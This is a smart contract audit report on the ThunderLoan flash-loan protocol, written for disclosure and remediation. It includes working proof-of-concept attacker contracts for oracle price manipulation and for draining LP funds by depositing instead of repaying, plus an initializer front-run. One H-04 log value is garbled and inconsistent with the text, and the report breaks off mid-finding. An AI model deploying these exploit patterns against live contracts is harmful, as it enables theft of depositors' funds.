ThunderLoan Audit Report

Khant Wai Yan Aung (SnavOhBurmaa)

27, 4, 2026

ThunderLoan Audit Report

Prepared by: Khant Wai Yan Aung (SnavOhBurmaa) (https://www.linkedin.com/in/khant-wai-yan-ohburmaa/)

Table of contents

See table

About Me

Hi, I'm Khant Wai Yan Aung (SnavOhBurmaa). I'm currently focusing on smart contract security audit. Currently studying at Rangsit University(CS).

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
https://github.com/Cyfrin/6-thunder-loan-audit/tree/main
commit: 2250d81
```

Scope

```
src/
├── interfaces/
│   ├── IFlashLoanReceiver.sol
│   ├── IPoolFactory.sol
│   ├── ITSwapPool.sol
│   └── IThunderLoan.sol
├── protocol/
│   ├── AssetToken.sol
│   ├── OracleUpgradeable.sol
│   └── ThunderLoan.sol
└── upgradedProtocol/
    └── ThunderLoanUpgraded.sol
```

Issues found

Severity	Count
High	4
Medium	2
Low	4
Informational	4
Gas	2
Total	**16**

Findings

High

H-01 Storage collision in `ThunderLoanUpgraded` silently inflates the fee from 0.3% to 100% on upgrade

Files: `src/protocol/ThunderLoan.sol`, `src/upgradedProtocol/ThunderLoanUpgraded.sol`

Description

In `ThunderLoan.sol` the storage layout (after the `s_tokenToAssetToken` mapping) is:

```
// ThunderLoan.sol
   mapping(IERC20 => AssetToken) public s_tokenToAssetToken;     // slot N
   uint256 private s_feePrecision;                               // slot N+1   (= 1e18)
   uint256 private s_flashLoanFee;                               // slot N+2   (= 3e15, 0.3%)
   mapping(IERC20 token => bool) private s_currentlyFlashLoaning;// slot N+3
```

In `ThunderLoanUpgraded.sol` the team turned `s_feePrecision` into a `constant` (`FEE_PRECISION`). A constant does not use a storage slot. So every variable after it moves up by one slot:

```
// ThunderLoanUpgraded.sol
   mapping(IERC20 => AssetToken) public s_tokenToAssetToken;     // slot N
@> uint256 private s_flashLoanFee;                               // slot N+1   <-- WAS
s_feePrecision
@> uint256 public constant FEE_PRECISION = 1e18;                 // not in storage
   mapping(IERC20 token => bool) private s_currentlyFlashLoaning;// slot N+2   <-- WAS
s_flashLoanFee
```

After the upgrade, the slot that used to hold `s_feePrecision == 1e18` is now read as `s_flashLoanFee`. So the fee suddenly becomes `1e18`, which is 100% of the loan. UUPS upgrades must keep the same storage layout, and this one does not.

Risk

- **Impact:** High — after the upgrade, every flash loan is charged a 100% fee. The protocol stops working.
- **Likelihood:** High — happens the first time the owner upgrades. No attacker is needed.

Proof of Concept

`testStorageCollisionAfterUpgrade` (in `test/unit/AuditPoC.t.sol`):

```
function testStorageCollisionAfterUpgrade() public {
    uint256 feeBefore = thunderLoan.getFee();
    console.log(string.concat("Fee BEFORE upgrade (s_flashLoanFee): ", vm.toString(feeBefore)));
    assertEq(feeBefore, 3e15, "expected 0.3% pre-upgrade");

    // Owner upgrades to broken implementation
    ThunderLoanUpgraded upgradedImpl = new ThunderLoanUpgraded();
    vm.prank(thunderLoan.owner());
    thunderLoan.upgradeToAndCall(address(upgradedImpl), "");

    uint256 feeAfter = ThunderLoanUpgraded(address(thunderLoan)).getFee();
    console.log(string.concat("Fee AFTER  upgrade (s_flashLoanFee): ", vm.toString(feeAfter)));
    // Storage slot 2 used to be s_feePrecision = 1e18 -> now read as s_flashLoanFee
    assertEq(feeAfter, 1e18, "fee read from slot was 1e18 (100%)");
    assertGt(feeAfter, feeBefore, "fee silently inflated by upgrade");
}
```

Run:

```
[PASS] testStorageCollisionAfterUpgrade() (gas: 4654502)
Logs:
  Fee BEFORE upgrade (s_flashLoanFee): 3000000000000000
  Fee AFTER  upgrade (s_flashLoanFee): 1000000000000000000
```

The fee jumps from `3e15` (0.3%) to `1e18` (100%) just from the upgrade. Nothing else was changed.

Recommended Mitigation

Keep the same storage layout. Leave an empty (unused) variable in the old slot so the other variables stay in place:

```
 // src/upgradedProtocol/ThunderLoanUpgraded.sol
 mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
-uint256 private s_flashLoanFee; // 0.3% ETH fee
-uint256 public constant FEE_PRECISION = 1e18;
+uint256 private s_blank; // slot retained for layout
+uint256 private s_flashLoanFee;              // 0.3% ETH fee
+uint256 public constant FEE_PRECISION = 1e18;
 mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

H-02 `deposit` mutates the exchange rate as if a fee were paid, locking depositors out of their full balance

File: `src/protocol/ThunderLoan.sol#L151-L160`

Description

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
@>  uint256 calculatedFee = getCalculatedFee(token, amount);  // treats deposit as a flash loan
@>  assetToken.updateExchangeRate(calculatedFee);             // inflates the share price
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

`updateExchangeRate` is meant to be called after a flash loan, to give LPs the loan fee. But `deposit` also calls it, using the fee that *would* be paid if the same amount were borrowed. The problem is that no fee was actually paid here. The LP only sent the deposit amount.

So the exchange rate goes up every time someone deposits. Each `assetToken` now claims more underlying than the contract really has. LPs cannot withdraw everything, later depositors are quietly diluted, and the price math the protocol depends on is broken.

Risk

- **Impact:** High — LPs cannot withdraw all of their money. Later deposits hurt earlier ones. The price math used by the whole protocol is wrong.
- **Likelihood:** High — happens on every `deposit` call. Nothing special is needed.
-

Proof of Concept

`testDepositInflatesExchangeRateAndBricksRedeem`:

```
function testDepositInflatesExchangeRateAndBricksRedeem() public setAllowedToken {
    tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);

    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
    thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);

    AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
    uint256 lpAssetBalance = asset.balanceOf(liquidityProvider);
    uint256 underlyingHeld = tokenA.balanceOf(address(asset));
    uint256 exchangeRate = asset.getExchangeRate();

    console.log(string.concat("LP assetToken balance:          ", vm.toString(lpAssetBalance)));
    console.log(string.concat("Underlying held by AssetToken:  ", vm.toString(underlyingHeld)));
    console.log(string.concat("Exchange rate (should be 1e18): ", vm.toString(exchangeRate)));
    assertGt(exchangeRate, 1e18, "exchange rate inflated despite no fee paid");

    // Try to redeem the entire deposit -> should revert (insufficient underlying)
    vm.expectRevert();
    thunderLoan.redeem(tokenA, lpAssetBalance);
    vm.stopPrank();

    console.log("Redeem reverted: LP cannot withdraw their full deposit.");
}
```

Run:

```
[PASS] testDepositInflatesExchangeRateAndBricksRedeem() (gas: 1606883)
Logs:
  LP assetToken balance:          1000000000000000000
  Underlying held by AssetToken:  1000000000000000000
  Exchange rate (should be 1e18): 1003000000000000000
  Redeem reverted: LP cannot withdraw their full deposit.
```

One deposit of `1000e18` raises the exchange rate from `1e18` to `1.003e18`. The AssetToken holds exactly `1000e18`, but trying to withdraw all `1000e18` shares now needs `1003e18` of underlying. So it reverts.

Recommended Mitigation

Remove the `getCalculatedFee` and `updateExchangeRate` calls from `deposit`. Only update the exchange rate when real fees come in (inside `flashloan`).

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
        revertIfNotAllowedToken(token) {
     AssetToken assetToken = s_tokenToAssetToken[token];
     uint256 exchangeRate = assetToken.getExchangeRate();
     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
     emit Deposit(msg.sender, token, amount);
     assetToken.mint(msg.sender, mintAmount);
-    uint256 calculatedFee = getCalculatedFee(token, amount);
-    assetToken.updateExchangeRate(calculatedFee);
     token.safeTransferFrom(msg.sender, address(assetToken), amount);
 }
```

H-03 Spot-price oracle (`TSwap`) can be moved in the same transaction, dropping the flash loan fee to almost zero

Files: `src/protocol/OracleUpgradeable.sol` , `src/protocol/ThunderLoan.sol#L261-L266`

Description

`OracleUpgradeable.getPriceInWeth` reads the current price from a TSwap pool. This is a **spot price**, which means it depends on what is in the pool right now. Anyone can change it just by swapping in the same transaction. Because `flashloan` uses this price to set the fee:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
@>  uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

an attacker can take one flash loan, swap inside the pool to push the token price down, then take a second flash loan that gets a much smaller fee.

Risk

- **Impact:** High — the fee is the only thing protecting LPs. With this bug, LPs earn almost nothing while the attacker borrows for free. This same kind of bug has caused many large DeFi hacks.
- **Likelihood:** High — anyone can do it in one transaction. No special permission is needed.

Proof of Concept

`testOraclePriceManipulationDuringFlashLoan` does the following:

1. Add 100 WETH and 100 tokens to the TSwap pool.
2. Take the first flash loan and save the fee (fee1).
3. Inside `executeOperation` , dump 50 tokens into the pool to drop the price.
4. Take a second flash loan from the same receiver and save the fee (fee2).

Test:

```
function testOraclePriceManipulationDuringFlashLoan() public {
    // === redeploy ThunderLoan against a real (BuffMock) TSwap ===
    thunderLoan = new ThunderLoan();
    ERC20Mock weth_ = new ERC20Mock();
    ERC20Mock token_ = new ERC20Mock();
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth_));
    address poolAddr = pf.createPool(address(token_));
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // seed the TSwap pool with 100 weth / 100 token
    weth_.mint(address(this), 100e18);
    token_.mint(address(this), 100e18);
    weth_.approve(poolAddr, type(uint256).max);
    token_.approve(poolAddr, type(uint256).max);
    BuffMockTSwap(poolAddr).deposit(100e18, 100e18, 100e18, block.timestamp);

    // allow token + LP funds in ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(IERC20(address(token_)), true);
    token_.mint(liquidityProvider, 1000e18);
    vm.startPrank(liquidityProvider);
    token_.approve(address(thunderLoan), type(uint256).max);
    thunderLoan.deposit(IERC20(address(token_)), 1000e18);
    vm.stopPrank();

    uint256 normalFee = thunderLoan.getCalculatedFee(IERC20(address(token_)), 100e18);
    console.log(string.concat("Normal fee for 100 token loan: ", vm.toString(normalFee)));

    MaliciousReceiver mal = new MaliciousReceiver(address(thunderLoan), poolAddr, address(token_));
    token_.mint(address(mal), 100e18); // seed for repayments
    vm.prank(attacker);
    thunderLoan.flashloan(address(mal), IERC20(address(token_)), 50e18, "");

    console.log(string.concat("Fee (loan 1, normal):         ", vm.toString(mal.fee1())));
    console.log(string.concat("Fee (loan 2, after manip.):   ", vm.toString(mal.fee2())));
    assertLt(mal.fee2(), mal.fee1(), "second loan fee should be cheaper after manipulation");
}
```

Malicious flash-loan receiver used by the test:

```
contract MaliciousReceiver is IFlashLoanReceiver {
    ThunderLoan immutable tl;
    BuffMockTSwap immutable pool;
    ERC20Mock immutable token;
    bool firstLoan = true;
    uint256 public fee1;
    uint256 public fee2;

    constructor(address _tl, address _pool, address _token) {
        tl = ThunderLoan(_tl);
        pool = BuffMockTSwap(_pool);
        token = ERC20Mock(_token);
    }

    function executeOperation(
        address t,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata
    )
        external
        returns (bool)
    {
        if (firstLoan) {
            firstLoan = false;
            fee1 = fee;
            // Manipulate spot price: dump 50 tokens into the pool to crash poolToken/weth
            token.approve(address(pool), 50e18);
            pool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, 1, block.timestamp);
            // Now take a second flash loan -> oracle reports cheaper price
            tl.flashloan(address(this), IERC20(t), 50e18, "");
            // Inner loan reset s_currentlyFlashLoaning, so we can't use repay().
            // Repay outer loan by direct transfer — the protocol only checks balance.
            IERC20(t).transfer(address(tl.getAssetFromToken(IERC20(t))), amount + fee);
        } else {
            fee2 = fee;
            IERC20(t).approve(address(tl), amount + fee);
            IThunderLoan(address(tl)).repay(t, amount + fee);
        }
        return true;
    }
}
```

Run:

```
[PASS] testOraclePriceManipulationDuringFlashLoan() (gas: 15122853)
Logs:
  Normal fee for 100 token loan: 296147410319118389
  Fee (loan 1, normal):         148073705159559194
  Fee (loan 2, after manip.):   66093895772631111
```

The second loan fee is about **55% lower** than the first, even though the loan size is the same and nothing else changed. The drop comes only from the swap inside the same transaction.

Recommended Mitigation

Stop using the TSwap spot price. Use a price source that is hard to move, like Chainlink, or TWAP:

```
 // src/protocol/OracleUpgradeable.sol
+import { AggregatorV3Interface } from "@chainlink/contracts/src/v0.8/interfaces/
        AggregatorV3Interface.sol";

 contract OracleUpgradeable is Initializable {
-    address private s_poolFactory;
+    mapping(address token => AggregatorV3Interface feed) private s_priceFeeds;
+    uint256 private constant MAX_FEED_AGE = 1 hours;

-    function getPriceInWeth(address token) public view returns (uint256) {
-        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
-        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
-    }
+    function getPriceInWeth(address token) public view returns (uint256) {
+        AggregatorV3Interface feed = s_priceFeeds[token];
+        (, int256 answer,, uint256 updatedAt,) = feed.latestRoundData();
+        require(answer > 0, "stale/invalid feed");
+        require(block.timestamp - updatedAt < MAX_FEED_AGE, "stale feed");
+        return uint256(answer);
+    }
 }
```

If TSwap must stay as the source, save the price at the start of `flashloan` and revert if the price has moved too much by the end.

H-04 Borrower can call `deposit` instead of `repay` to pass the balance check and steal the loan

File: `src/protocol/ThunderLoan.sol#L184-L232`

Description

`flashloan` checks if the loan was paid back by looking at the AssetToken's balance after the call:

```
@>  uint256 endingBalance = token.balanceOf(address(assetToken));
@>  if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
    }
```

The contract never checks if the borrower really called `repay`. Instead of repaying, the borrower can call `deposit(token, amount + fee)` from inside `executeOperation`. That call does two things:

1. It mints the borrower `~amount + fee` worth of AssetToken shares.
2. It sends `amount + fee` underlying back to the AssetToken contract.

The transfer makes the balance check pass. But now the borrower also owns AssetToken shares that are worth the loan amount. The borrower then calls `redeem` and takes the loan back (minus the fee).

Risk

- **Impact:** High — the attacker takes LP money. They can repeat the attack until the pool is empty. They only pay the flash loan fee and walk away with the full loan.
- **Likelihood:** High — anyone can do it in one transaction. No special permission is needed.

Proof of Concept

`testDepositInsteadOfRepayDrainsProtocol`:

```
function testDepositInsteadOfRepayDrainsProtocol() public setAllowedToken hasDeposits {
    AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
    uint256 protocolUnderlyingBefore = tokenA.balanceOf(address(asset));

    DepositInsteadOfRepayAttacker bad =
        new DepositInsteadOfRepayAttacker(address(thunderLoan));
    uint256 borrow = 50e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, borrow);
    // attacker only needs the fee in capital
    tokenA.mint(address(bad), fee);

    vm.prank(attacker);
    thunderLoan.flashloan(address(bad), tokenA, borrow, "");

    // attacker now owns assetTokens, redeems them for underlying
    bad.redeemEverything(tokenA);

    uint256 protocolUnderlyingAfter = tokenA.balanceOf(address(asset));
    uint256 attackerProfit = tokenA.balanceOf(address(bad));

    console.log(string.concat("Protocol underlying BEFORE: ",
vm.toString(protocolUnderlyingBefore)));
    console.log(string.concat("Protocol underlying AFTER:  ",
vm.toString(protocolUnderlyingAfter)));
    console.log(string.concat("Attacker take-home balance: ", vm.toString(attackerProfit)));
    assertGt(attackerProfit, fee, "attacker profited beyond their fee outlay");
    assertLt(protocolUnderlyingAfter, protocolUnderlyingBefore, "protocol funds drained");
}
```

Attacker contract used by the test:

```
contract DepositInsteadOfRepayAttacker is IFlashLoanReceiver {
    ThunderLoan immutable tl;

    constructor(address _tl) {
        tl = ThunderLoan(_tl);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata
    )
        external
        returns (bool)
    {
        // Deposit instead of repay -> satisfies balance check AND mints asset tokens
        IERC20(token).approve(address(tl), amount + fee);
        tl.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemEverything(IERC20 token) external {
        AssetToken asset = tl.getAssetFromToken(token);
        tl.redeem(token, asset.balanceOf(address(this)));
    }
}
```

Run:

```
[PASS] testDepositInsteadOfRepayDrainsProtocol() (gas: 2163401)
Logs:
  Protocol underlying BEFORE: 100000000000000000000
  Protocol underlying AFTER:  94999281417010891 3014
  Attacker take-home balance: 50157185829891086986
```

LP money drops by about 50e18 in one transaction. The attacker walks away with the same amount, after only paying the fee.

Recommended Mitigation

Block deposits while a flash loan for the same token is open:

```
+error ThunderLoan__CurrentlyFlashLoaning();

 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
        revertIfNotAllowedToken(token) {
+    if (s_currentlyFlashLoaning[token]) {
+        revert ThunderLoan__CurrentlyFlashLoaning();
+    }
     AssetToken assetToken = s_tokenToAssetToken[token];
     uint256 exchangeRate = assetToken.getExchangeRate();
     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
     emit Deposit(msg.sender, token, amount);
     assetToken.mint(msg.sender, mintAmount);
     uint256 calculatedFee = getCalculatedFee(token, amount);
     assetToken.updateExchangeRate(calculatedFee);
     token.safeTransferFrom(msg.sender, address(assetToken), amount);
 }
```

A safer fix is to track repayment with a boolean that is only set inside `repay`. Then `flashloan` checks that boolean instead of trusting the balance:

```
+bool private _paidBack;

 function flashloan(...) external ... {
     ...
+    _paidBack = false;
     s_currentlyFlashLoaning[token] = true;
     assetToken.transferUnderlyingTo(receiverAddress, amount);
     receiverAddress.functionCall(...);

-    uint256 endingBalance = token.balanceOf(address(assetToken));
-    if (endingBalance < startingBalance + fee) {
-        revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
-    }
+    if (!_paidBack) revert ThunderLoan__NotPaidBack(0, 0);
     s_currentlyFlashLoaning[token] = false;
 }

 function repay(IERC20 token, uint256 amount) public {
     if (!s_currentlyFlashLoaning[token]) revert ThunderLoan__NotCurrentlyFlashLoaning();
     AssetToken assetToken = s_tokenToAssetToken[token];
     token.safeTransferFrom(msg.sender, address(assetToken), amount);
+    _paidBack = true;
 }
```

Medium

M-01 Owner can set `s_flashLoanFee` up to 100% of the principal

File: `src/protocol/ThunderLoan.sol#L268-L273`

Description

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
@>  if (newFee > s_feePrecision) {       // upper bound is 1e18 (100%)
        revert ThunderLoan__BadNewFee();
    }
    s_flashLoanFee = newFee;
}
```

`s_feePrecision == 1e18`, so the check allows a fee equal to the full loan. A bad owner can set the fee to take 100% of the loan. There is also no waiting period before the change applies.

Risk

- **Impact:** Medium — borrowers can be charged up to the full loan amount. LP money is not directly stolen, but trust is lost.
- **Likelihood:** Low — needs the owner to do this on purpose, or the owner key to be stolen. (Note: the same bad state also happens by accident through H-01.)

Proof of Concept

`testOwnerCanSetExtremeFee`:

```
function testOwnerCanSetExtremeFee() public {
    vm.prank(thunderLoan.owner());
    thunderLoan.updateFlashLoanFee(1e18); // 100%
    assertEq(thunderLoan.getFee(), 1e18);
    console.log(string.concat("Owner set fee to (== 100%): ", vm.toString(thunderLoan.getFee())));
}
```

Run:

```
[PASS] testOwnerCanSetExtremeFee() (gas: 33691)
Logs:
  Owner set fee to (== 100%): 1000000000000000000
```

Recommended Mitigation

Set a hard upper limit on the fee (for example 5%) and add a timelock so users have time to react before the new fee takes effect:

```
+uint256 public constant MAX_FEE = 5e16; // 5%

 function updateFlashLoanFee(uint256 newFee) external onlyOwner {
-    if (newFee > s_feePrecision) {
+    if (newFee > MAX_FEE) {
         revert ThunderLoan__BadNewFee();
     }
     s_flashLoanFee = newFee;
 }
```

M-02 `IThunderLoan` interface declares `repay(address, uint256)` but implementation uses `repay(IERC20, uint256)`

Files: `src/interfaces/IThunderLoan.sol`, `src/protocol/ThunderLoan.sol#L234`

Description

```
// IThunderLoan.sol
interface IThunderLoan {
@>  function repay(address token, uint256 amount) external;   // address
}

// ThunderLoan.sol
@> function repay(IERC20 token, uint256 amount) public { ... } // IERC20 -- mismatch
```

`address` and `IERC20` happen to give the same function selector, so calls work today. But there are two problems:

- `ThunderLoan` does **not** inherit `IThunderLoan`, so the compiler can't catch a mismatch.
- People who write receivers using `IThunderLoan` (like `MockFlashLoanReceiver`) have no proof that the function on-chain matches.

Risk

- **Impact:** Medium — if anyone later renames or changes `ThunderLoan.repay`, the build will still pass, but every flash loan integration on-chain will break.
- **Likelihood:** Low — only happens if the contract or interface is changed without updating the other.

Recommended Mitigation

Make `ThunderLoan` inherit `IThunderLoan` and use the same parameter type in both:

```
 // src/interfaces/IThunderLoan.sol
+import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 interface IThunderLoan {
-    function repay(address token, uint256 amount) external;
+    function repay(IERC20 token, uint256 amount) external;
 }
```

```
 // src/protocol/ThunderLoan.sol
-contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
+contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable,
        IThunderLoan {
     ...
-    function repay(IERC20 token, uint256 amount) public {
+    function repay(IERC20 token, uint256 amount) public override {
         ...
     }
 }
```

Low

L-01 `initialize` is unprotected and can be front-run

File: `src/protocol/ThunderLoan.sol#L143-L149`

Description

```
@> function initialize(address tswapAddress) external initializer {  // not access-controlled
@>     __Ownable_init(msg.sender);                                    // first caller becomes owner
       __UUPSUpgradeable_init();
       __Oracle_init(tswapAddress);
       s_feePrecision = 1e18;
       s_flashLoanFee = 3e15;
   }
```

The proxy's `initialize` sets the owner to `msg.sender`. If someone sees the proxy in the mempool and calls `initialize` first, they become the owner and pick the oracle.

Risk

- **Impact:** Low — the deployer has to redeploy. User funds are not at risk because LPs only deposit after init.
- **Likelihood:** Low — needs someone watching the mempool for the deploy transaction.

Proof of Concept

`testInitializeFrontRun`:

```
function testInitializeFrontRun() public {
    ThunderLoan freshImpl = new ThunderLoan();
    ERC1967Proxy freshProxy = new ERC1967Proxy(address(freshImpl), "");
    ThunderLoan tl = ThunderLoan(address(freshProxy));

    vm.prank(attacker);
    tl.initialize(address(mockPoolFactory));

    assertEq(tl.owner(), attacker, "attacker became owner via front-run");
    console.log("Hijacked owner: ", tl.owner());
}
```

Run:

```
[PASS] testInitializeFrontRun() (gas: 4845615)
Logs:
  Hijacked owner:  0x0000000000000000000000000000000000000Bad
```

Recommended Mitigation

Deploy and init in the same transaction. Pass the init data to the `ERC1967Proxy` constructor:

```
 // deployment script
-ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
-ThunderLoan(address(proxy)).initialize(tswapAddress);
+ERC1967Proxy proxy = new ERC1967Proxy(
+    address(impl),
+    abi.encodeCall(ThunderLoan.initialize, (tswapAddress))
+);
```

L-02 `s_currentlyFlashLoaning` does not work for nested loans and can be bypassed

File: `src/protocol/ThunderLoan.sol#L211, L227-L231`

Description

```
function flashloan(...) external ... {
    ...
@>  s_currentlyFlashLoaning[token] = true;     // set at start
    assetToken.transferUnderlyingTo(receiverAddress, amount);
    receiverAddress.functionCall(...);
    uint256 endingBalance = token.balanceOf(address(assetToken));
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
    }
@>  s_currentlyFlashLoaning[token] = false;    // reset at end -- nested call clears outer flag
}
```

`flashloan` sets `s_currentlyFlashLoaning[token] = true` at the start and back to `false` at the end. If the receiver calls `flashloan` again for the same token (a nested loan), the inner call resets the flag to `false`. So the outer call loses its safety, and any later `repay` from the outer call will revert.

Also, the borrower can skip `repay` and just send the underlying tokens straight to the AssetToken contract. The balance check will still pass. This is what H-04 uses.

Risk

- **Impact:** Low — confusing for developers and a missing safety check. The real money damage is covered by H-04.
- **Likelihood:** Medium — easy for any borrower to bypass. Honest people can also hit the nested-loan bug by mistake.

Recommended Mitigation

Track each loan separately, not just one flag per token:

```
-mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
+mapping(bytes32 loanId => bool paid) private s_loanPaid;

 function flashloan(...) external ... {
     ...
+    bytes32 loanId = keccak256(abi.encode(receiverAddress, token, amount, block.number,
        gasleft()));
-    s_currentlyFlashLoaning[token] = true;
     assetToken.transferUnderlyingTo(receiverAddress, amount);
     receiverAddress.functionCall(...);
-    uint256 endingBalance = token.balanceOf(address(assetToken));
-    if (endingBalance < startingBalance + fee) revert ThunderLoan__NotPaidBack(...);
-    s_currentlyFlashLoaning[token] = false;
+    if (!s_loanPaid[loanId]) revert ThunderLoan__NotPaidBack(0, 0);
 }
```

L-03 Removing a token with `setAllowedToken(token, false)` locks LP money inside the AssetToken

File: `src/protocol/ThunderLoan.sol#L242-L259`

Description

```
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
    if (allowed) { ... }
    else {
        AssetToken assetToken = s_tokenToAssetToken[token];
@>      delete s_tokenToAssetToken[token];   // mapping deleted, but underlying may still be inside
the AssetToken
        emit AllowedTokenSet(token, assetToken, allowed);
        return assetToken;
    }
}
```

When a token is removed, `s_tokenToAssetToken[token]` is deleted. After that, LPs cannot call `redeem` because the `revertIfNotAllowedToken` modifier stops them. There is no admin function to rescue the money, so the underlying tokens are stuck inside the AssetToken.

Risk

- **Impact:** High — LPs can no longer get back any money still deposited in that token. The funds are locked forever.
- **Likelihood:** Low — only happens if the owner removes a token that still has LP deposits.

Recommended Mitigation

Use a separate flag to block only new deposits. Keep the mapping in place so LPs can still call `redeem`:

```
+mapping(IERC20 token => bool allowed) private s_acceptingDeposits;

 function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
     if (allowed) {
         if (address(s_tokenToAssetToken[token]) != address(0)) {
             revert ThunderLoan__AlreadyAllowed();
         }
         ...
         s_tokenToAssetToken[token] = assetToken;
+        s_acceptingDeposits[token] = true;
         emit AllowedTokenSet(token, assetToken, allowed);
         return assetToken;
     } else {
         AssetToken assetToken = s_tokenToAssetToken[token];
-        delete s_tokenToAssetToken[token];
+        s_acceptingDeposits[token] = false;   // stop new deposits, but keep redeem path open
         emit AllowedTokenSet(token, assetToken, allowed);
         return assetToken;
     }
 }

 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) {
+    if (!s_acceptingDeposits[token]) revert ThunderLoan__NotAllowedToken(token);
     ...
 }
```

L-04 `getCalculatedFee` assumes every token has 18 decimals

File: `src/protocol/ThunderLoan.sol#L261-L266`

Description

```
@> uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
   fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

`getPriceInWeth` gives the price in 1e18 units. If `token` has fewer decimals (like USDC with 6), `valueOfBorrowedToken` is too small by a factor of `10**(18 - decimals)`. The fee comes out tiny.

Risk

- **Impact:** Medium — for tokens like USDC (6 decimals), the fee is about `1 / 1e12` of what it should be. LPs earn almost nothing on those loans.
- **Likelihood:** Medium — only happens if the owner allows a token with fewer than 18 decimals, but that is a normal real-world choice.

Recommended Mitigation

Scale the loan amount up to 18 decimals before using the price:

```
 function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
-    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
+    uint8 d = IERC20Metadata(address(token)).decimals();
+    uint256 normalised = d < 18 ? amount * 10 ** (18 - d) : amount / 10 ** (d - 18);
+    uint256 valueOfBorrowedToken = (normalised * getPriceInWeth(address(token))) / s_feePrecision;
     fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
 }
```

Or only allow 18-decimal tokens in `setAllowedToken` and write that rule in the docs.

Informational

I-01 Unused interface import in `IFlashLoanReceiver.sol`

File: `src/interfaces/IFlashLoanReceiver.sol`

Description

```
// src/interfaces/IFlashLoanReceiver.sol
@> import { IThunderLoan } from "./IThunderLoan.sol";   // unused
```

`IFlashLoanReceiver.sol` imports `IThunderLoan` but never uses it.

Risk

- **Impact:** Informational — dead code.
- **Likelihood:** N/A.

Recommended Mitigation

```
 // src/interfaces/IFlashLoanReceiver.sol
-import { IThunderLoan } from "./IThunderLoan.sol";

 interface IFlashLoanReceiver { ... }
```

I-02 `emit FlashLoan` is fired before the loan runs — wrong event order

File: `src/protocol/ThunderLoan.sol`

Description

```
// src/protocol/ThunderLoan.sol :: flashloan(...)
@> emit FlashLoan(receiverAddress, token, amount, fee, params);  // emitted before the loan
actually runs

   s_currentlyFlashLoaning[token] = true;
   assetToken.transferUnderlyingTo(receiverAddress, amount);
   receiverAddress.functionCall(...);
```

`flashloan` emits the `FlashLoan` event before sending the tokens and calling the receiver. The event should fire only after the loan has been paid back.

Risk

- **Impact:** Informational — can confuse off-chain tools that read events in order.
- **Likelihood:** N/A.

Recommended Mitigation

```
 // src/protocol/ThunderLoan.sol :: flashloan(...)
-emit FlashLoan(receiverAddress, token, amount, fee, params);
-
 s_currentlyFlashLoaning[token] = true;
 assetToken.transferUnderlyingTo(receiverAddress, amount);
 receiverAddress.functionCall(...);

 uint256 endingBalance = token.balanceOf(address(assetToken));
 if (endingBalance < startingBalance + fee) {
     revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
 }
+emit FlashLoan(receiverAddress, token, amount, fee, params);
 s_currentlyFlashLoaning[token] = false;
```

I-03 Magic numbers should have names

File: `src/protocol/ThunderLoan.sol`

Description

```
function initialize(address tswapAddress) external initializer {
    ...
@>  s_feePrecision = 1e18;        // magic number
@>  s_flashLoanFee = 3e15;        // magic number (0.3%)
}
```

